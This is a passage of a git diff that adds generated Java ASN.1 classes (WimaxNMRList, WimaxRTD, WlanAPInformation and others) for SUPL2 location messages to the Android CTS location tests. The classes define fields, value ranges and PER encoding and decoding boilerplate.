+ cINRstdType result = new cINRstdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new cINRstdType from encoded stream.
+ */
+ public static cINRstdType fromPerAligned(byte[] encodedBytes) {
+ cINRstdType result = new cINRstdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "cINRstdType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("WimaxNMR = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMRList.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMRList.java
new file mode 100755
index 0000000..49d21fa
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxNMRList.java
@@ -0,0 +1,128 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1SequenceOf;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+ */
+public class WimaxNMRList
+ extends Asn1SequenceOf<WimaxNMR> {
+ //
+
+ private static final Asn1Tag TAG_WimaxNMRList
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public WimaxNMRList() {
+ super();
+ setMinSize(1);
+setMaxSize(32);
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_WimaxNMRList;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_WimaxNMRList != null) {
+ return ImmutableList.of(TAG_WimaxNMRList);
+ } else {
+ return Asn1SequenceOf.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new WimaxNMRList from encoded stream.
+ */
+ public static WimaxNMRList fromPerUnaligned(byte[] encodedBytes) {
+ WimaxNMRList result = new WimaxNMRList();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new WimaxNMRList from encoded stream.
+ */
+ public static WimaxNMRList fromPerAligned(byte[] encodedBytes) {
+ WimaxNMRList result = new WimaxNMRList();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+ @Override public WimaxNMR createAndAddValue() {
+ WimaxNMR value = new WimaxNMR();
+ add(value);
+ return value;
+ }
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("WimaxNMRList = [\n");
+ final String internalIndent = indent + " ";
+ for (WimaxNMR value : getValues()) {
+ builder.append(internalIndent)
+ .append(value.toIndentedString(internalIndent));
+ }
+ builder.append(indent).append("];\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxRTD.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxRTD.java
new file mode 100755
index 0000000..f667cfa
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WimaxRTD.java
@@ -0,0 +1,447 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class WimaxRTD extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_WimaxRTD
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public WimaxRTD() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_WimaxRTD;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_WimaxRTD != null) {
+ return ImmutableList.of(TAG_WimaxRTD);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new WimaxRTD from encoded stream.
+ */
+ public static WimaxRTD fromPerUnaligned(byte[] encodedBytes) {
+ WimaxRTD result = new WimaxRTD();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new WimaxRTD from encoded stream.
+ */
+ public static WimaxRTD fromPerAligned(byte[] encodedBytes) {
+ WimaxRTD result = new WimaxRTD();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private WimaxRTD.rTDType rTD_;
+ public WimaxRTD.rTDType getRTD() {
+ return rTD_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxRTD.rTDType
+ */
+ public void setRTD(Asn1Object value) {
+ this.rTD_ = (WimaxRTD.rTDType) value;
+ }
+ public WimaxRTD.rTDType setRTDToNewInstance() {
+ rTD_ = new WimaxRTD.rTDType();
+ return rTD_;
+ }
+
+ private WimaxRTD.rTDstdType rTDstd_;
+ public WimaxRTD.rTDstdType getRTDstd() {
+ return rTDstd_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WimaxRTD.rTDstdType
+ */
+ public void setRTDstd(Asn1Object value) {
+ this.rTDstd_ = (WimaxRTD.rTDstdType) value;
+ }
+ public WimaxRTD.rTDstdType setRTDstdToNewInstance() {
+ rTDstd_ = new WimaxRTD.rTDstdType();
+ return rTDstd_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getRTD() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRTD();
+ }
+
+ @Override public void setToNewInstance() {
+ setRTDToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxRTD.rTDType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rTD : "
+ + getRTD().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getRTDstd() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getRTDstd();
+ }
+
+ @Override public void setToNewInstance() {
+ setRTDstdToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WimaxRTD.rTDstdType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "rTDstd : "
+ + getRTDstd().toIndentedString(indent);
+ }
+ });
+
+ return builder.build();
+ }
+
+ @Override public Iterable<? extends SequenceComponent>
+ getExtensionComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ return builder.build();
+ }
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rTDType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_rTDType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rTDType() {
+ super();
+ setValueRange("0", "65535");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rTDType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rTDType != null) {
+ return ImmutableList.of(TAG_rTDType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rTDType from encoded stream.
+ */
+ public static rTDType fromPerUnaligned(byte[] encodedBytes) {
+ rTDType result = new rTDType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rTDType from encoded stream.
+ */
+ public static rTDType fromPerAligned(byte[] encodedBytes) {
+ rTDType result = new rTDType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "rTDType = " + getInteger() + ";\n";
+ }
+}
+
+
+/*
+ */
+
+
+//
+
+/**
+ */
+public static class rTDstdType extends Asn1Integer {
+ //
+
+ private static final Asn1Tag TAG_rTDstdType
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public rTDstdType() {
+ super();
+ setValueRange("0", "1023");
+
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_rTDstdType;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_rTDstdType != null) {
+ return ImmutableList.of(TAG_rTDstdType);
+ } else {
+ return Asn1Integer.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new rTDstdType from encoded stream.
+ */
+ public static rTDstdType fromPerUnaligned(byte[] encodedBytes) {
+ rTDstdType result = new rTDstdType();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new rTDstdType from encoded stream.
+ */
+ public static rTDstdType fromPerAligned(byte[] encodedBytes) {
+ rTDstdType result = new rTDstdType();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ return "rTDstdType = " + getInteger() + ";\n";
+ }
+}
+
+
+
+
+
+ @Override public Iterable<BitStream> encodePerUnaligned() {
+ return super.encodePerUnaligned();
+ }
+
+ @Override public Iterable<BitStream> encodePerAligned() {
+ return super.encodePerAligned();
+ }
+
+ @Override public void decodePerUnaligned(BitStreamReader reader) {
+ super.decodePerUnaligned(reader);
+ }
+
+ @Override public void decodePerAligned(BitStreamReader reader) {
+ super.decodePerAligned(reader);
+ }
+
+ @Override public String toString() {
+ return toIndentedString("");
+ }
+
+ public String toIndentedString(String indent) {
+ StringBuilder builder = new StringBuilder();
+ builder.append("WimaxRTD = {\n");
+ final String internalIndent = indent + " ";
+ for (SequenceComponent component : getComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ if (isExtensible()) {
+ builder.append(internalIndent).append("...\n");
+ for (SequenceComponent component : getExtensionComponents()) {
+ if (component.isExplicitlySet()) {
+ builder.append(internalIndent)
+ .append(component.toIndentedString(internalIndent));
+ }
+ }
+ }
+ builder.append(indent).append("};\n");
+ return builder.toString();
+ }
+}
diff --git a/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WlanAPInformation.java b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WlanAPInformation.java
new file mode 100755
index 0000000..0c7b368
--- /dev/null
+++ b/tests/tests/location/src/android/location/cts/asn1/supl2/ver2_ulp_components/WlanAPInformation.java
@@ -0,0 +1,1890 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.location.cts.asn1.supl2.ver2_ulp_components;
+
+/*
+ */
+
+
+//
+//
+import android.location.cts.asn1.base.Asn1BitString;
+import android.location.cts.asn1.base.Asn1Enumerated;
+import android.location.cts.asn1.base.Asn1Integer;
+import android.location.cts.asn1.base.Asn1Null;
+import android.location.cts.asn1.base.Asn1Object;
+import android.location.cts.asn1.base.Asn1Sequence;
+import android.location.cts.asn1.base.Asn1Tag;
+import android.location.cts.asn1.base.BitStream;
+import android.location.cts.asn1.base.BitStreamReader;
+import android.location.cts.asn1.base.SequenceComponent;
+import com.google.common.collect.ImmutableList;
+import java.util.Collection;
+import javax.annotation.Nullable;
+
+
+/**
+*/
+public class WlanAPInformation extends Asn1Sequence {
+ //
+
+ private static final Asn1Tag TAG_WlanAPInformation
+ = Asn1Tag.fromClassAndNumber(-1, -1);
+
+ public WlanAPInformation() {
+ super();
+ }
+
+ @Override
+ @Nullable
+ protected Asn1Tag getTag() {
+ return TAG_WlanAPInformation;
+ }
+
+ @Override
+ protected boolean isTagImplicit() {
+ return true;
+ }
+
+ public static Collection<Asn1Tag> getPossibleFirstTags() {
+ if (TAG_WlanAPInformation != null) {
+ return ImmutableList.of(TAG_WlanAPInformation);
+ } else {
+ return Asn1Sequence.getPossibleFirstTags();
+ }
+ }
+
+ /**
+ * Creates a new WlanAPInformation from encoded stream.
+ */
+ public static WlanAPInformation fromPerUnaligned(byte[] encodedBytes) {
+ WlanAPInformation result = new WlanAPInformation();
+ result.decodePerUnaligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+ /**
+ * Creates a new WlanAPInformation from encoded stream.
+ */
+ public static WlanAPInformation fromPerAligned(byte[] encodedBytes) {
+ WlanAPInformation result = new WlanAPInformation();
+ result.decodePerAligned(new BitStreamReader(encodedBytes));
+ return result;
+ }
+
+
+
+ @Override protected boolean isExtensible() {
+ return true;
+ }
+
+ @Override public boolean containsExtensionValues() {
+ for (SequenceComponent extensionComponent : getExtensionComponents()) {
+ if (extensionComponent.isExplicitlySet()) return true;
+ }
+ return false;
+ }
+
+
+ private WlanAPInformation.apMACAddressType apMACAddress_;
+ public WlanAPInformation.apMACAddressType getApMACAddress() {
+ return apMACAddress_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WlanAPInformation.apMACAddressType
+ */
+ public void setApMACAddress(Asn1Object value) {
+ this.apMACAddress_ = (WlanAPInformation.apMACAddressType) value;
+ }
+ public WlanAPInformation.apMACAddressType setApMACAddressToNewInstance() {
+ apMACAddress_ = new WlanAPInformation.apMACAddressType();
+ return apMACAddress_;
+ }
+
+ private WlanAPInformation.apTransmitPowerType apTransmitPower_;
+ public WlanAPInformation.apTransmitPowerType getApTransmitPower() {
+ return apTransmitPower_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WlanAPInformation.apTransmitPowerType
+ */
+ public void setApTransmitPower(Asn1Object value) {
+ this.apTransmitPower_ = (WlanAPInformation.apTransmitPowerType) value;
+ }
+ public WlanAPInformation.apTransmitPowerType setApTransmitPowerToNewInstance() {
+ apTransmitPower_ = new WlanAPInformation.apTransmitPowerType();
+ return apTransmitPower_;
+ }
+
+ private WlanAPInformation.apAntennaGainType apAntennaGain_;
+ public WlanAPInformation.apAntennaGainType getApAntennaGain() {
+ return apAntennaGain_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WlanAPInformation.apAntennaGainType
+ */
+ public void setApAntennaGain(Asn1Object value) {
+ this.apAntennaGain_ = (WlanAPInformation.apAntennaGainType) value;
+ }
+ public WlanAPInformation.apAntennaGainType setApAntennaGainToNewInstance() {
+ apAntennaGain_ = new WlanAPInformation.apAntennaGainType();
+ return apAntennaGain_;
+ }
+
+ private WlanAPInformation.apSignaltoNoiseType apSignaltoNoise_;
+ public WlanAPInformation.apSignaltoNoiseType getApSignaltoNoise() {
+ return apSignaltoNoise_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WlanAPInformation.apSignaltoNoiseType
+ */
+ public void setApSignaltoNoise(Asn1Object value) {
+ this.apSignaltoNoise_ = (WlanAPInformation.apSignaltoNoiseType) value;
+ }
+ public WlanAPInformation.apSignaltoNoiseType setApSignaltoNoiseToNewInstance() {
+ apSignaltoNoise_ = new WlanAPInformation.apSignaltoNoiseType();
+ return apSignaltoNoise_;
+ }
+
+ private WlanAPInformation.apDeviceTypeType apDeviceType_;
+ public WlanAPInformation.apDeviceTypeType getApDeviceType() {
+ return apDeviceType_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WlanAPInformation.apDeviceTypeType
+ */
+ public void setApDeviceType(Asn1Object value) {
+ this.apDeviceType_ = (WlanAPInformation.apDeviceTypeType) value;
+ }
+ public WlanAPInformation.apDeviceTypeType setApDeviceTypeToNewInstance() {
+ apDeviceType_ = new WlanAPInformation.apDeviceTypeType();
+ return apDeviceType_;
+ }
+
+ private WlanAPInformation.apSignalStrengthType apSignalStrength_;
+ public WlanAPInformation.apSignalStrengthType getApSignalStrength() {
+ return apSignalStrength_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WlanAPInformation.apSignalStrengthType
+ */
+ public void setApSignalStrength(Asn1Object value) {
+ this.apSignalStrength_ = (WlanAPInformation.apSignalStrengthType) value;
+ }
+ public WlanAPInformation.apSignalStrengthType setApSignalStrengthToNewInstance() {
+ apSignalStrength_ = new WlanAPInformation.apSignalStrengthType();
+ return apSignalStrength_;
+ }
+
+ private WlanAPInformation.apChannelFrequencyType apChannelFrequency_;
+ public WlanAPInformation.apChannelFrequencyType getApChannelFrequency() {
+ return apChannelFrequency_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WlanAPInformation.apChannelFrequencyType
+ */
+ public void setApChannelFrequency(Asn1Object value) {
+ this.apChannelFrequency_ = (WlanAPInformation.apChannelFrequencyType) value;
+ }
+ public WlanAPInformation.apChannelFrequencyType setApChannelFrequencyToNewInstance() {
+ apChannelFrequency_ = new WlanAPInformation.apChannelFrequencyType();
+ return apChannelFrequency_;
+ }
+
+ private RTD apRoundTripDelay_;
+ public RTD getApRoundTripDelay() {
+ return apRoundTripDelay_;
+ }
+ /**
+ * @throws ClassCastException if value is not a RTD
+ */
+ public void setApRoundTripDelay(Asn1Object value) {
+ this.apRoundTripDelay_ = (RTD) value;
+ }
+ public RTD setApRoundTripDelayToNewInstance() {
+ apRoundTripDelay_ = new RTD();
+ return apRoundTripDelay_;
+ }
+
+ private WlanAPInformation.setTransmitPowerType setTransmitPower_;
+ public WlanAPInformation.setTransmitPowerType getSetTransmitPower() {
+ return setTransmitPower_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WlanAPInformation.setTransmitPowerType
+ */
+ public void setSetTransmitPower(Asn1Object value) {
+ this.setTransmitPower_ = (WlanAPInformation.setTransmitPowerType) value;
+ }
+ public WlanAPInformation.setTransmitPowerType setSetTransmitPowerToNewInstance() {
+ setTransmitPower_ = new WlanAPInformation.setTransmitPowerType();
+ return setTransmitPower_;
+ }
+
+ private WlanAPInformation.setAntennaGainType setAntennaGain_;
+ public WlanAPInformation.setAntennaGainType getSetAntennaGain() {
+ return setAntennaGain_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WlanAPInformation.setAntennaGainType
+ */
+ public void setSetAntennaGain(Asn1Object value) {
+ this.setAntennaGain_ = (WlanAPInformation.setAntennaGainType) value;
+ }
+ public WlanAPInformation.setAntennaGainType setSetAntennaGainToNewInstance() {
+ setAntennaGain_ = new WlanAPInformation.setAntennaGainType();
+ return setAntennaGain_;
+ }
+
+ private WlanAPInformation.setSignaltoNoiseType setSignaltoNoise_;
+ public WlanAPInformation.setSignaltoNoiseType getSetSignaltoNoise() {
+ return setSignaltoNoise_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WlanAPInformation.setSignaltoNoiseType
+ */
+ public void setSetSignaltoNoise(Asn1Object value) {
+ this.setSignaltoNoise_ = (WlanAPInformation.setSignaltoNoiseType) value;
+ }
+ public WlanAPInformation.setSignaltoNoiseType setSetSignaltoNoiseToNewInstance() {
+ setSignaltoNoise_ = new WlanAPInformation.setSignaltoNoiseType();
+ return setSignaltoNoise_;
+ }
+
+ private WlanAPInformation.setSignalStrengthType setSignalStrength_;
+ public WlanAPInformation.setSignalStrengthType getSetSignalStrength() {
+ return setSignalStrength_;
+ }
+ /**
+ * @throws ClassCastException if value is not a WlanAPInformation.setSignalStrengthType
+ */
+ public void setSetSignalStrength(Asn1Object value) {
+ this.setSignalStrength_ = (WlanAPInformation.setSignalStrengthType) value;
+ }
+ public WlanAPInformation.setSignalStrengthType setSetSignalStrengthToNewInstance() {
+ setSignalStrength_ = new WlanAPInformation.setSignalStrengthType();
+ return setSignalStrength_;
+ }
+
+ private ReportedLocation apReportedLocation_;
+ public ReportedLocation getApReportedLocation() {
+ return apReportedLocation_;
+ }
+ /**
+ * @throws ClassCastException if value is not a ReportedLocation
+ */
+ public void setApReportedLocation(Asn1Object value) {
+ this.apReportedLocation_ = (ReportedLocation) value;
+ }
+ public ReportedLocation setApReportedLocationToNewInstance() {
+ apReportedLocation_ = new ReportedLocation();
+ return apReportedLocation_;
+ }
+
+
+
+
+
+
+ @Override public Iterable<? extends SequenceComponent> getComponents() {
+ ImmutableList.Builder<SequenceComponent> builder = ImmutableList.builder();
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 0);
+
+ @Override public boolean isExplicitlySet() {
+ return getApMACAddress() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return false;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApMACAddress();
+ }
+
+ @Override public void setToNewInstance() {
+ setApMACAddressToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.apMACAddressType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apMACAddress : "
+ + getApMACAddress().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 1);
+
+ @Override public boolean isExplicitlySet() {
+ return getApTransmitPower() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApTransmitPower();
+ }
+
+ @Override public void setToNewInstance() {
+ setApTransmitPowerToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.apTransmitPowerType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apTransmitPower : "
+ + getApTransmitPower().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 2);
+
+ @Override public boolean isExplicitlySet() {
+ return getApAntennaGain() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApAntennaGain();
+ }
+
+ @Override public void setToNewInstance() {
+ setApAntennaGainToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.apAntennaGainType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apAntennaGain : "
+ + getApAntennaGain().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
+ Asn1Tag tag = Asn1Tag.fromClassAndNumber(2, 3);
+
+ @Override public boolean isExplicitlySet() {
+ return getApSignaltoNoise() != null;
+ }
+
+ @Override public boolean hasDefaultValue() {
+ return false;
+ }
+
+ @Override public boolean isOptional() {
+ return true;
+ }
+
+ @Override public Asn1Object getComponentValue() {
+ return getApSignaltoNoise();
+ }
+
+ @Override public void setToNewInstance() {
+ setApSignaltoNoiseToNewInstance();
+ }
+
+ @Override public Collection<Asn1Tag> getPossibleFirstTags() {
+ return tag == null ? WlanAPInformation.apSignaltoNoiseType.getPossibleFirstTags() : ImmutableList.of(tag);
+ }
+
+ @Override
+ public Asn1Tag getTag() {
+ return tag;
+ }
+
+ @Override
+ public boolean isImplicitTagging() {
+ return true;
+ }
+
+ @Override public String toIndentedString(String indent) {
+ return "apSignaltoNoise : "
+ + getApSignaltoNoise().toIndentedString(indent);
+ }
+ });
+
+ builder.add(new SequenceComponent() {
